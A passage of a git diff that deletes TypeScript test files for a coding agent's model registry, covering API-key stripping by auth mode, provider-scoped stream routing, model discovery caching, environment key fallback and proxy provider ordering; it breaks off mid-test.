-describe("ModelRegistry authMode — streamSimple apiKey boundary", () => { - it("strips apiKey from options for externalCli provider", () => { - const registry = createRegistry(); - const spy = createStreamSpy(); - const apiType = `ext-cli-strip-${Date.now()}`; - - registry.registerProvider("cli-strip", { - authMode: "externalCli", - baseUrl: "https://cli.local", - api: apiType as Api, - streamSimple: spy.streamSimple, - models: [createProviderModel("m", apiType)], - }); - - const provider = getApiProvider(apiType as Api); - assert.ok(provider, "provider must be registered in api registry"); - - provider.streamSimple(makeModel("cli-strip", "m", apiType), makeContext(), { - apiKey: "should-be-stripped", - maxTokens: 1024, - } as SimpleStreamOptions); - - const captured = spy.getCapturedOptions(); - assert.ok(captured, "streamSimple must have been called"); - assert.equal( - "apiKey" in captured, - false, - "apiKey must not exist in options for externalCli provider", - ); - assert.equal(captured.maxTokens, 1024, "other options must pass through"); - }); - - it("strips apiKey from options for none provider", () => { - const registry = createRegistry(); - const spy = createStreamSpy(); - const apiType = `none-strip-${Date.now()}`; - - registry.registerProvider("none-strip", { - authMode: "none", - baseUrl: "http://localhost:11434", - api: apiType as Api, - streamSimple: spy.streamSimple, - models: [createProviderModel("m", apiType)], - }); - - const provider = getApiProvider(apiType as Api); - assert.ok(provider, "provider must be registered in api registry"); - - provider.streamSimple( - makeModel("none-strip", "m", apiType), - makeContext(), - { apiKey: "should-be-stripped", maxTokens: 2048 } as SimpleStreamOptions, - ); - - const captured = spy.getCapturedOptions(); - assert.ok(captured, "streamSimple must have been called"); - assert.equal( - "apiKey" in captured, - false, - "apiKey must not exist in options for none provider", - ); - assert.equal(captured.maxTokens, 2048, "other options must pass through"); - }); - - it("preserves apiKey in options for apiKey provider", () => { - const registry = createRegistry(); - const spy = createStreamSpy(); - const apiType = `apikey-preserve-${Date.now()}`; - - registry.registerProvider("apikey-preserve", { - apiKey: "MY_KEY", - baseUrl: "https://api.local", - api: apiType as Api, - streamSimple: spy.streamSimple, - models: [createProviderModel("m", apiType)], - }); - - const provider = getApiProvider(apiType as Api); - assert.ok(provider, "provider must be registered in api registry"); - - provider.streamSimple( - makeModel("apikey-preserve", "m", apiType), - makeContext(), - { apiKey: "sk-real-key", maxTokens: 4096 } as SimpleStreamOptions, - ); - - const captured = spy.getCapturedOptions(); - assert.ok(captured, "streamSimple must have been called"); - assert.equal( - captured.apiKey, - "sk-real-key", - "apiKey must be preserved for apiKey provider", - ); - assert.equal(captured.maxTokens, 4096, "other options must pass through"); - }); - - it("handles undefined options for externalCli provider", () => { - const registry = createRegistry(); - const spy = createStreamSpy(); - const apiType = `ext-cli-undef-${Date.now()}`; - - registry.registerProvider("cli-undef", { - authMode: "externalCli", - baseUrl: "https://cli.local", - api: apiType as Api, - streamSimple: spy.streamSimple, - models: [createProviderModel("m", apiType)], - }); - - const provider = getApiProvider(apiType as Api); - assert.ok(provider, "provider must be registered in api registry"); - - provider.streamSimple( - makeModel("cli-undef", "m", apiType), - makeContext(), - undefined, - ); - - const captured = spy.getCapturedOptions(); - assert.ok(captured !== undefined, "streamSimple must have been called"); - assert.equal( - "apiKey" in captured, - false, - "apiKey must not exist even when options is undefined", - ); - }); - - it("strips apiKey but preserves signal and other fields for externalCli", () => { - const registry = createRegistry(); - const spy = createStreamSpy(); - const apiType = `ext-cli-fields-${Date.now()}`; - const abortController = new AbortController(); - - registry.registerProvider("cli-fields", { - authMode: "externalCli", - baseUrl: "https://cli.local", - api: apiType as Api, - streamSimple: spy.streamSimple, - models: [createProviderModel("m", apiType)], - }); - - const provider = getApiProvider(apiType as Api); - assert.ok(provider, "provider must be registered in api registry"); - - provider.streamSimple( - makeModel("cli-fields", "m", apiType), - makeContext(), - { - apiKey: "strip-me", - maxTokens: 8192, - signal: abortController.signal, - reasoning: "high", - } as SimpleStreamOptions, - ); - - const captured = spy.getCapturedOptions(); - assert.ok(captured, "streamSimple must have been called"); - assert.equal("apiKey" in captured, false, "apiKey must be stripped"); - assert.equal(captured.maxTokens, 8192, "maxTokens must pass through"); - assert.equal( - captured.signal, - abortController.signal, - "signal must pass through", - ); - assert.equal( - (captured as Record).reasoning, - "high", - "reasoning must pass through", - ); - }); -}); - -// ─── Provider-scoped stream routing (#2533) ─────────────────────────────────── - -describe("ModelRegistry authMode — provider-scoped stream routing", () => { - it("does not clobber built-in stream handler when custom provider uses same api", () => { - const registry = createRegistry(() => true); - const customSpy = createStreamSpy(); - - // Register a custom provider with the same API type as a built-in (anthropic-messages). - // This simulates the claude-code-cli extension registering with api: "anthropic-messages". - registry.registerProvider("custom-cli", { - authMode: "externalCli", - baseUrl: "local://custom", - api: "anthropic-messages", - streamSimple: customSpy.streamSimple, - models: [createProviderModel("custom-model", "anthropic-messages")], - }); - - // The built-in anthropic-messages provider should still be accessible - // when calling streamSimple with a model from the built-in provider. - const provider = getApiProvider("anthropic-messages" as Api); - assert.ok(provider, "anthropic-messages provider must still be registered"); - - // Call with a built-in anthropic model — should NOT hit the custom spy. - // The built-in handler will throw (no API key), which proves the routing - // correctly delegates to the built-in instead of the custom handler. - assert.throws( - () => - provider.streamSimple( - makeModel("anthropic", "claude-sonnet-4-6", "anthropic-messages"), - makeContext(), - { maxTokens: 4096 } as SimpleStreamOptions, - ), - (err: Error) => err.message.includes("API key"), - "built-in Anthropic handler must be invoked (throws because no API key in tests)", - ); - - assert.equal( - customSpy.getCapturedOptions(), - undefined, - "custom provider's streamSimple must NOT be called for anthropic provider models", - ); - }); - - it("routes to custom provider when model.provider matches", () => { - const registry = createRegistry(() => true); - const customSpy = createStreamSpy(); - - registry.registerProvider("custom-cli", { - authMode: "externalCli", - baseUrl: "local://custom", - api: "anthropic-messages", - streamSimple: customSpy.streamSimple, - models: [createProviderModel("custom-model", "anthropic-messages")], - }); - - const provider = getApiProvider("anthropic-messages" as Api); - assert.ok(provider); - - // Call with the custom provider's model — should hit the custom spy - provider.streamSimple( - makeModel("custom-cli", "custom-model", "anthropic-messages"), - makeContext(), - { maxTokens: 2048 } as SimpleStreamOptions, - ); - - const captured = customSpy.getCapturedOptions(); - assert.ok( - captured, - "custom provider's streamSimple must be called for its own models", - ); - assert.equal(captured.maxTokens, 2048); - }); -}); diff --git a/packages/pi-coding-agent/src/core/model-registry-discovery.test.ts b/packages/pi-coding-agent/src/core/model-registry-discovery.test.ts deleted file mode 100644 index 1e2cefdc7..000000000 --- a/packages/pi-coding-agent/src/core/model-registry-discovery.test.ts +++ /dev/null @@ -1,386 +0,0 @@ -import assert from "node:assert/strict"; -import { mkdirSync, rmSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { afterEach, beforeEach, describe, it } from "vitest"; -import { AuthStorage } from "./auth-storage.js"; -import { ModelDiscoveryCache } from "./discovery-cache.js"; -import { - getDefaultTTL, - getDiscoverableCatalogSources, - getDiscoverableProviders, - getDiscoveryAdapter, -} from "./model-discovery.js"; -import { ModelRegistry } from "./model-registry.js"; - -let testDir: string; - -beforeEach(() => { - testDir = join( - tmpdir(), - `model-registry-discovery-test-${Date.now()}-${Math.random().toString(36).slice(2)}`, - ); - mkdirSync(testDir, { recursive: true }); -}); - -afterEach(() => { - try { - rmSync(testDir, { recursive: true, force: true }); - } catch { - // Cleanup best-effort - } -}); - -// ─── discovery cache integration ───────────────────────────────────────────── - -describe("ModelDiscoveryCache — integration with discovery", () => { - it("cache respects provider-specific TTLs", () => { - const cachePath = join(testDir, "cache.json"); - const cache = new ModelDiscoveryCache(cachePath); - - cache.set("ollama", [{ id: "llama2" }]); - const entry = cache.get("ollama"); - assert.ok(entry); - assert.equal(entry.ttlMs, getDefaultTTL("ollama")); - }); - - it("cache uses custom TTL when provided", () => { - const cachePath = join(testDir, "cache.json"); - const cache = new ModelDiscoveryCache(cachePath); - - cache.set("openai", [{ id: "gpt-4o" }], 999); - const entry = cache.get("openai"); - assert.ok(entry); - assert.equal(entry.ttlMs, 999); - }); -}); - -// ─── adapter resolution ───────────────────────────────────────────────────── - -describe("Discovery adapter resolution", () => { - it("all discoverable providers have adapters", () => { - const providers = getDiscoverableProviders(); - for (const provider of providers) { - const adapter = getDiscoveryAdapter(provider); - assert.equal( - adapter.supportsDiscovery, - true, - `${provider} should support discovery`, - ); - assert.notEqual(adapter.sourceType, "catalog"); - } - }); - - it("catalog sources are separate from provider discovery entries", () => { - assert.deepEqual(getDiscoverableCatalogSources(), ["singularity-memory"]); - assert.ok(!getDiscoverableProviders().includes("singularity-memory")); - }); - - it("static adapters return empty model lists", async () => { - const staticProviders = [ - "anthropic", - "openai", - "bedrock", - "azure-openai", - "groq", - "cerebras", - "google", - ]; - for (const provider of staticProviders) { - const adapter = getDiscoveryAdapter(provider); - assert.equal( - adapter.supportsDiscovery, - false, - `${provider} should not support discovery`, - ); - const models = await adapter.fetchModels("dummy-key"); - assert.deepEqual(models, [], `${provider} should return empty models`); - } - }); -}); - -// ─── AuthStorage hasAuth for discovery ─────────────────────────────────────── - -function withoutProviderEnvAuth(fn: () => void): void { - const original = { - OPENAI_API_KEY: process.env.OPENAI_API_KEY, - OLLAMA_API_KEY: process.env.OLLAMA_API_KEY, - ZAI_API_KEY: process.env.ZAI_API_KEY, - }; - delete process.env.OPENAI_API_KEY; - delete process.env.OLLAMA_API_KEY; - delete process.env.ZAI_API_KEY; - try { - fn(); - } finally { - for (const [key, value] of Object.entries(original)) { - if (value === undefined) { - delete process.env[key]; - } else { - process.env[key] = value; - } - } - } -} - -describe("AuthStorage — hasAuth for discovery providers", () => { - it("returns false for providers without auth", () => { - withoutProviderEnvAuth(() => { - const storage = AuthStorage.inMemory({}); - assert.equal(storage.hasAuth("openai"), false); - assert.equal(storage.hasAuth("ollama"), false); - assert.equal(storage.hasAuth("zai"), false); - }); - }); - - it("returns true for providers with stored keys", () => { - withoutProviderEnvAuth(() => { - const storage = AuthStorage.inMemory({ - openai: { type: "api_key" as const, key: "sk-test" }, - zai: { type: "api_key" as const, key: "zai-test" }, - }); - assert.equal(storage.hasAuth("openai"), true); - assert.equal(storage.hasAuth("ollama"), false); - assert.equal(storage.hasAuth("zai"), true); - }); - }); -}); - -// ─── public model-list discovery ───────────────────────────────────────────── - -describe("ModelRegistry — public discovery providers", () => { - it("discovers ollama-cloud models from live model listing without stored auth", async () => { - const originalFetch = globalThis.fetch; - globalThis.fetch = (async () => - new Response( - JSON.stringify({ - data: [{ id: "kimi-k2.5" }, { id: "kimi-k2.6" }], - }), - { status: 200 }, - )) as typeof fetch; - - try { - const registry = new ModelRegistry( - AuthStorage.inMemory({}), - undefined, - undefined, - new ModelDiscoveryCache(join(testDir, "ollama-cloud-cache.json")), - ); - const results = await registry.discoverModels(["ollama-cloud"]); - - assert.equal(results[0]?.provider, "ollama-cloud"); - assert.deepEqual( - results[0]?.models.map((m) => m.id), - ["kimi-k2.5", "kimi-k2.6"], - ); - assert.ok( - registry - .getAllWithDiscovered() - .some((m) => m.provider === "ollama-cloud" && m.id === "kimi-k2.6"), - "discovered Kimi K2.6 is retained as an ollama-cloud direct tag", - ); - } finally { - globalThis.fetch = originalFetch; - } - }); - - it("makes discovered ollama-cloud models available when auth is configured", async () => { - const originalFetch = globalThis.fetch; - globalThis.fetch = (async () => - new Response( - JSON.stringify({ - data: [{ id: "kimi-k2.6" }], - }), - { status: 200 }, - )) as typeof fetch; - - try { - const registry = new ModelRegistry( - AuthStorage.inMemory({ - "ollama-cloud": { type: "api_key", key: "ollama-test" }, - }), - undefined, - undefined, - new ModelDiscoveryCache(join(testDir, "ollama-cloud-auth-cache.json")), - ); - await registry.discoverModels(["ollama-cloud"]); - - assert.ok( - registry - .getAvailable() - .some((m) => m.provider === "ollama-cloud" && m.id === "kimi-k2.6"), - "discovered Ollama Cloud models are available after discovery", - ); - } finally { - globalThis.fetch = originalFetch; - } - }); - - it("discovers direct provider models when auth is configured", async () => { - const originalFetch = globalThis.fetch; - globalThis.fetch = (async () => - new Response( - JSON.stringify({ - data: [ - { - id: "glm-5.2", - name: "GLM-5.2", - context_length: 200000, - }, - { - id: "glm-4.5-air", - }, - ], - }), - { status: 200 }, - )) as typeof fetch; - - try { - const registry = new ModelRegistry( - AuthStorage.inMemory({ - zai: { type: "api_key", key: "zai-test" }, - }), - undefined, - undefined, - new ModelDiscoveryCache(join(testDir, "zai-cache.json")), - ); - const results = await registry.discoverModels(["zai"]); - - assert.equal(results[0]?.provider, "zai"); - assert.deepEqual( - results[0]?.models.map((m) => m.id), - ["glm-5.2", "glm-4.5-air"], - ); - const model = registry - .getAllWithDiscovered() - .find((m) => m.provider === "zai" && m.id === "glm-5.2"); - assert.ok(model, "discovered direct model should be available under zai"); - assert.equal(model.api, "openai-completions"); - assert.equal(model.baseUrl, "https://api.z.ai/api/coding/paas/v4"); - const knownModel = registry - .getDiscoveredModels() - .find((m) => m.provider === "zai" && m.id === "glm-4.5-air"); - assert.ok( - knownModel, - "known direct model should be materialized from live discovery", - ); - assert.equal(knownModel.name, "GLM-4.5-Air"); - assert.equal(knownModel.reasoning, true); - } finally { - globalThis.fetch = originalFetch; - } - }); - - it("discovers Singularity Memory catalog models under their execution provider", async () => { - const originalFetch = globalThis.fetch; - globalThis.fetch = (async () => - new Response( - JSON.stringify({ - data: [ - { - id: "xiaomi/mimo-v9-pro", - name: "Xiaomi MiMo V9 Pro", - context_length: 1048576, - top_provider: { max_completion_tokens: 131072 }, - pricing: { prompt: "0.0000004", completion: "0.000002" }, - x_singularity: { - provider: "xiaomi", - api: "anthropic-messages", - base_url: "https://token-plan-ams.xiaomimimo.com/anthropic", - }, - }, - ], - }), - { status: 200 }, - )) as typeof fetch; - - try { - const registry = new ModelRegistry( - AuthStorage.inMemory({}), - undefined, - undefined, - new ModelDiscoveryCache(join(testDir, "memory-cache.json")), - ); - const results = await registry.discoverModelCatalogs([ - "singularity-memory", - ]); - - assert.equal(results[0]?.provider, "singularity-memory"); - assert.equal(results[0]?.sourceType, "catalog"); - const model = registry - .getAllWithDiscovered() - .find((m) => m.provider === "xiaomi" && m.id === "mimo-v9-pro"); - assert.ok( - model, - "Memory-discovered model should be available under xiaomi provider", - ); - assert.equal(model.api, "anthropic-messages"); - assert.equal( - model.baseUrl, - "https://token-plan-ams.xiaomimimo.com/anthropic", - ); - assert.equal(model.contextWindow, 1048576); - assert.equal(model.maxTokens, 131072); - assert.deepEqual(model.cost, { - input: 0.4, - output: 2, - cacheRead: 0, - cacheWrite: 0, - }); - } finally { - globalThis.fetch = originalFetch; - } - }); -}); - -// ─── cache persistence across instances ────────────────────────────────────── - -describe("ModelDiscoveryCache — persistence", () => { - it("data survives across cache instances", () => { - const cachePath = join(testDir, "persist.json"); - - const cache1 = new ModelDiscoveryCache(cachePath); - cache1.set("openai", [ - { id: "gpt-4o", name: "GPT-4o", contextWindow: 128000 }, - { id: "gpt-4o-mini", name: "GPT-4o Mini" }, - ]); - - const cache2 = new ModelDiscoveryCache(cachePath); - const entry = cache2.get("openai"); - assert.ok(entry); - assert.equal(entry.models.length, 2); - assert.equal(entry.models[0].contextWindow, 128000); - }); - - it("clear persists across instances", () => { - const cachePath = join(testDir, "clear.json"); - - const cache1 = new ModelDiscoveryCache(cachePath); - cache1.set("openai", [{ id: "gpt-4o" }]); - cache1.clear("openai"); - - const cache2 = new ModelDiscoveryCache(cachePath); - assert.equal(cache2.get("openai"), undefined); - }); -}); - -// ─── discovery TTL values ──────────────────────────────────────────────────── - -describe("Discovery TTL configuration", () => { - it("live-listed providers use a one-hour TTL", () => { - for (const provider of getDiscoverableProviders()) { - assert.equal( - getDefaultTTL(provider), - 60 * 60 * 1000, - `${provider} should use the live discovery TTL`, - ); - } - }); - - it("unknown providers get default TTL", () => { - const customTTL = getDefaultTTL("my-custom-provider"); - const defaultTTL = getDefaultTTL("default"); - // Unknown providers should get the same TTL as the explicit "default" key - assert.equal(customTTL, defaultTTL); - }); -}); diff --git a/packages/pi-coding-agent/src/core/model-registry-env-fallback.test.ts b/packages/pi-coding-agent/src/core/model-registry-env-fallback.test.ts deleted file mode 100644 index b5db736ed..000000000 --- a/packages/pi-coding-agent/src/core/model-registry-env-fallback.test.ts +++ /dev/null @@ -1,123 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import type { AuthStorage } from "./auth-storage.js"; -import { ModelRegistry } from "./model-registry.js"; -import { type Settings, SettingsManager } from "./settings-manager.js"; - -function createRegistryWithCapturedResolver() { - let capturedResolver: ((provider: string) => string | undefined) | undefined; - const authStorage = { - setFallbackResolver: ( - resolver: (provider: string) => string | undefined, - ) => { - capturedResolver = resolver; - }, - setEnvAuthModeResolver: () => {}, - onCredentialChange: () => {}, - getOAuthProviders: () => [], - get: () => undefined, - hasAuth: () => false, - getApiKey: async () => undefined, - } as unknown as AuthStorage; - - new ModelRegistry(authStorage, undefined); - assert.ok( - capturedResolver, - "ModelRegistry should register a fallback resolver", - ); - return capturedResolver!; -} - -function createRegistryWithSettingsAndCapturedResolver( - settings: Partial, -) { - let capturedResolver: ((provider: string) => string | undefined) | undefined; - const authStorage = { - setFallbackResolver: ( - resolver: (provider: string) => string | undefined, - ) => { - capturedResolver = resolver; - }, - setEnvAuthModeResolver: () => {}, - onCredentialChange: () => {}, - getOAuthProviders: () => [], - get: () => undefined, - hasAuth: () => false, - getApiKey: async () => undefined, - } as unknown as AuthStorage; - - new ModelRegistry(authStorage, undefined, SettingsManager.inMemory(settings)); - assert.ok(capturedResolver); - return capturedResolver!; -} - -describe("ModelRegistry env fallback resolver (#3782)", () => { - it("falls back to built-in provider env vars when models.json has no custom key", () => { - const prev = process.env.MINIMAX_API_KEY; - process.env.MINIMAX_API_KEY = "minimax-env-test-key"; - - try { - const resolver = createRegistryWithCapturedResolver(); - assert.equal( - resolver("minimax"), - "minimax-env-test-key", - "fallback resolver should return built-in provider env keys", - ); - } finally { - if (prev === undefined) { - delete process.env.MINIMAX_API_KEY; - } else { - process.env.MINIMAX_API_KEY = prev; - } - } - }); - - it("still returns undefined when no custom or built-in env key exists", () => { - const prev = process.env.MINIMAX_API_KEY; - delete process.env.MINIMAX_API_KEY; - - try { - const resolver = createRegistryWithCapturedResolver(); - assert.equal(resolver("minimax"), undefined); - assert.equal(resolver("totally-unknown-provider"), undefined); - } finally { - if (prev !== undefined) { - process.env.MINIMAX_API_KEY = prev; - } - } - }); - - it("disables google env fallback by default", () => { - const prev = process.env.GEMINI_API_KEY; - process.env.GEMINI_API_KEY = "gemini-env-test-key"; - - try { - const resolver = createRegistryWithSettingsAndCapturedResolver({}); - assert.equal(resolver("google"), undefined); - } finally { - if (prev === undefined) { - delete process.env.GEMINI_API_KEY; - } else { - process.env.GEMINI_API_KEY = prev; - } - } - }); - - it("allows provider env fallback when providerEnvAuth is on", () => { - const prev = process.env.GEMINI_API_KEY; - process.env.GEMINI_API_KEY = "gemini-env-test-key"; - - try { - const resolver = createRegistryWithSettingsAndCapturedResolver({ - providerEnvAuth: { providers: { google: "on" } }, - }); - assert.equal(resolver("google"), "gemini-env-test-key"); - } finally { - if (prev === undefined) { - delete process.env.GEMINI_API_KEY; - } else { - process.env.GEMINI_API_KEY = prev; - } - } - }); -}); diff --git a/packages/pi-coding-agent/src/core/model-registry-proxy-routing.test.ts b/packages/pi-coding-agent/src/core/model-registry-proxy-routing.test.ts deleted file mode 100644 index 13b9c8b75..000000000 --- a/packages/pi-coding-agent/src/core/model-registry-proxy-routing.test.ts +++ /dev/null @@ -1,612 +0,0 @@ -import assert from "node:assert/strict"; -import type { - Api, - AssistantMessageEventStream, - Context, - Model, - SimpleStreamOptions, -} from "@singularity-forge/pi-ai"; -import { describe, it } from "vitest"; -import type { AuthStorage } from "./auth-storage.js"; -import { ModelRegistry } from "./model-registry.js"; - -// ── Helpers ─────────────────────────────────────────────────────────────────── - -function createRegistry( - hasAuthFn: (provider: string) => boolean = () => false, -): ModelRegistry { - const authStorage = { - setFallbackResolver: () => {}, - onCredentialChange: () => {}, - getOAuthProviders: () => [], - get: () => undefined, - hasAuth: hasAuthFn, - getApiKey: async () => undefined, - } as unknown as AuthStorage; - return new ModelRegistry(authStorage, undefined); -} - -const noopStream = ( - _m: Model, - _c: Context, - _o?: SimpleStreamOptions, -): AssistantMessageEventStream => - ({ - [Symbol.asyncIterator]() { - return { next: async () => ({ value: undefined, done: true as const }) }; - }, - result: () => Promise.resolve({} as any), - push: () => {}, - end: () => {}, - }) as unknown as AssistantMessageEventStream; - -function registerNone( - registry: ModelRegistry, - provider: string, - modelId: string, -): void { - registry.registerProvider(provider, { - authMode: "none", - baseUrl: `http://localhost/${provider}`, - api: "openai-completions", - streamSimple: noopStream, - models: [ - { - id: modelId, - name: modelId, - api: "openai-completions", - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 128000, - maxTokens: 16384, - }, - ], - }); -} - -function registerApiKey( - registry: ModelRegistry, - provider: string, - modelId: string, -): void { - registry.registerProvider(provider, { - apiKey: "sk-test", - baseUrl: `https://api.${provider}.com`, - api: "openai-completions", - streamSimple: noopStream, - models: [ - { - id: modelId, - name: modelId, - api: "openai-completions", - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 128000, - maxTokens: 16384, - }, - ], - }); -} - -// ── getModelsForProxy — basic ───────────────────────────────────────────────── - -describe("ModelRegistry.getModelsForProxy — basic", () => { - it("returns empty array for unknown model id", () => { - const registry = createRegistry(); - assert.deepEqual(registry.getModelsForProxy("no-such-model"), []); - }); - - it("returns single candidate when only one provider has the model", () => { - const registry = createRegistry(); - registerNone(registry, "zai", "glm-4-air"); - const result = registry.getModelsForProxy("glm-4-air"); - assert.equal(result.length, 1); - assert.equal(result[0].provider, "zai"); - }); - - it("returns all candidates when multiple providers share the model id", () => { - const registry = createRegistry(); - registerNone(registry, "zai", "glm-4-air"); - registerNone(registry, "opencode-go", "glm-4-air"); - const result = registry.getModelsForProxy("glm-4-air"); - assert.equal(result.length, 2); - }); - - it("filters paid OpenRouter and OpenCode models while keeping zero-cost and subscribed models", () => { - const registry = createRegistry(() => true); - registry.registerProvider("openrouter", { - authMode: "none", - baseUrl: "https://openrouter.ai/api/v1", - api: "openai-completions", - streamSimple: noopStream, - models: [ - { - id: "qwen/qwen3-coder:free", - name: "Qwen Free", - api: "openai-completions", - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 128000, - maxTokens: 16384, - }, - { - id: "z-ai/glm-5.1", - name: "GLM Paid", - api: "openai-completions", - reasoning: false, - input: ["text"], - cost: { input: 1, output: 1, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 128000, - maxTokens: 16384, - }, - { - id: "zero-cost/non-free-slug", - name: "Zero Cost Non-Free Slug", - api: "openai-completions", - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 128000, - maxTokens: 16384, - }, - ], - }); - const available = registry.getAvailable(); - - assert.ok( - available.some( - (m) => m.provider === "openrouter" && m.id === "qwen/qwen3-coder:free", - ), - "OpenRouter free models should remain available", - ); - assert.ok( - !available.some( - (m) => m.provider === "openrouter" && m.id === "z-ai/glm-5.1", - ), - "OpenRouter paid models should not be available", - ); - assert.ok( - available - .filter((m) => m.provider === "openrouter") - .every((m) => m.id.endsWith(":free") || m.cost?.input === 0), - "every available OpenRouter model must use the :free SKU or carry zero-cost metadata", - ); - assert.ok( - available.some( - (m) => - m.provider === "openrouter" && m.id === "zero-cost/non-free-slug", - ), - "OpenRouter models with explicit zero-cost metadata should remain available", - ); - assert.equal( - registry.find("openrouter", "z-ai/glm-5.1"), - undefined, - "direct model lookup should also block paid OpenRouter models", - ); - - assert.ok( - available.some((m) => m.provider === "opencode" && m.id === "gpt-5-nano"), - "zero-cost OpenCode models should remain available", - ); - assert.ok( - available.some( - (m) => m.provider === "opencode" && m.id === "minimax-m2.5-free", - ), - "OpenCode models marked free should remain available", - ); - assert.ok( - !available.some((m) => m.provider === "opencode" && m.id === "gpt-5.4"), - "paid OpenCode models should not be available", - ); - assert.equal( - registry.find("opencode", "kimi-k2.5"), - undefined, - "direct model lookup should also block paid OpenCode models", - ); - - assert.ok( - available.some((m) => m.provider === "opencode-go" && m.id === "glm-5.1"), - "OpenCode Go should expose the full subscribed model set", - ); - assert.ok( - available.some( - (m) => m.provider === "opencode-go" && m.id === "minimax-m2.7", - ), - "OpenCode Go paid-tier models should remain available", - ); - }); - - it("does not use paid OpenCode as a proxy fallback when OpenCode Go has the same model", () => { - const registry = createRegistry(() => true); - - const result = registry.getModelsForProxy("kimi-k2.5"); - - assert.ok( - result.some((m) => m.provider === "opencode-go" && m.id === "kimi-k2.5"), - "OpenCode Go should remain a candidate for subscribed models", - ); - assert.ok( - !result.some((m) => m.provider === "opencode" && m.id === "kimi-k2.5"), - "paid OpenCode should not be a fallback candidate", - ); - }); - - it("hides explicit Xiaomi token-plan regional aliases while keeping the default Xiaomi provider", () => { - const registry = createRegistry(() => true); - const available = registry.getAvailable(); - - assert.ok( - available.some((m) => m.provider === "xiaomi" && m.id === "mimo-v2-pro"), - "xiaomi/default AMS provider should remain available", - ); - assert.ok( - !available.some((m) => m.provider.startsWith("xiaomi-token-plan-")), - "regional Xiaomi token-plan aliases should not be listed", - ); - assert.equal( - registry.find("xiaomi-token-plan-ams", "mimo-v2-pro"), - undefined, - "direct lookup should also hide regional Xiaomi token-plan aliases", - ); - }); - - it("routes MiMo proxy candidates through direct Xiaomi and subscribed/free relays, never OpenRouter", () => { - const registry = createRegistry(() => true); - registerNone(registry, "openrouter", "mimo-v2-pro"); - registerNone(registry, "ollama-cloud", "mimo-v2-pro"); - - const result = registry.getModelsForProxy("mimo-v2-pro"); - assert.deepEqual( - result.map((m) => `${m.provider}/${m.id}`), - [ - "xiaomi/mimo-v2-pro", - "opencode-go/mimo-v2-pro", - "ollama-cloud/mimo-v2-pro", - ], - ); - }); - - it("hides Grok models even when they arrive through aggregators", () => { - const registry = createRegistry(() => true); - const available = registry.getAvailable(); - - assert.ok( - !available.some( - (m) => - m.provider === "xai" || - m.id.toLowerCase().includes("grok") || - m.id.toLowerCase().startsWith("x-ai/"), - ), - "Grok/xAI models should not be visible through direct or aggregate providers", - ); - assert.equal( - registry.find("openrouter", "x-ai/grok-4:free"), - undefined, - "direct lookup should also block OpenRouter Grok SKUs", - ); - }); - - it("hides Groq as a selectable LLM model provider", () => { - const registry = createRegistry(() => true); - const available = registry.getAvailable(); - - assert.ok( - !available.some((m) => m.provider === "groq"), - "Groq should not be listed or selected by SF provider policy", - ); - assert.equal( - registry.find("groq", "llama-3.1-8b-instant"), - undefined, - "direct lookup should also hide Groq models", - ); - }); - - it("hides Claude Code because it is not part of the managed provider pool", () => { - const registry = createRegistry(() => true); - const available = registry.getAvailable(); - - assert.ok( - !available.some((m) => m.provider === "claude-code"), - "Claude Code should not be listed or selected by SF provider policy", - ); - assert.equal( - registry.find("claude-code", "sonnet"), - undefined, - "direct lookup should also hide Claude Code models", - ); - }); - - it("hides Mistral non-selection endpoints while keeping chat and coding models", () => { - const registry = createRegistry(() => true); - registry.registerProvider("mistral", { - authMode: "none", - baseUrl: "https://api.mistral.ai", - api: "mistral-conversations", - streamSimple: noopStream, - models: [ - { - id: "mistral-large-latest", - name: "Mistral Large", - api: "mistral-conversations", - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 128000, - maxTokens: 16384, - }, - { - id: "codestral-latest", - name: "Codestral", - api: "mistral-conversations", - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 128000, - maxTokens: 16384, - }, - { - id: "mistral-embed", - name: "Mistral Embed", - api: "mistral-conversations", - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 8192, - maxTokens: 8192, - }, - { - id: "mistral-ocr-latest", - name: "Mistral OCR", - api: "mistral-conversations", - reasoning: false, - input: ["text", "image"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 8192, - maxTokens: 8192, - }, - { - id: "voxtral-mini-tts-latest", - name: "Voxtral TTS", - api: "mistral-conversations", - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 8192, - maxTokens: 8192, - }, - { - id: "ft:codestral-latest:abc", - name: "Private Fine Tune", - api: "mistral-conversations", - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 8192, - maxTokens: 8192, - }, - ], - }); - - const available = registry - .getAvailable() - .filter((m) => m.provider === "mistral") - .map((m) => m.id); - - assert.deepEqual(available, ["mistral-large-latest", "codestral-latest"]); - }); -}); - -// ── getModelsForProxy — family priority ordering ────────────────────────────── - -describe("ModelRegistry.getModelsForProxy — family priority ordering", () => { - it("GLM family: zai before subscribed/free relays, never OpenRouter", () => { - const registry = createRegistry(); - // Register in reverse priority order to confirm sorting - registerNone(registry, "openrouter", "glm-4-air"); - registerNone(registry, "ollama-cloud", "glm-4-air"); - registerNone(registry, "opencode-go", "glm-4-air"); - registerNone(registry, "opencode", "glm-4-air"); - registerNone(registry, "zai", "glm-4-air"); - const result = registry.getModelsForProxy("glm-4-air"); - const providers = result.map((m) => m.provider); - assert.deepEqual(providers, ["zai", "opencode-go", "ollama-cloud"]); - }); - - it("Kimi family: kimi-coding before subscribed/free relays, never OpenRouter", () => { - const registry = createRegistry(); - registerNone(registry, "openrouter", "kimi-k2"); - registerNone(registry, "opencode", "kimi-k2"); - registerNone(registry, "opencode-go", "kimi-k2"); - registerNone(registry, 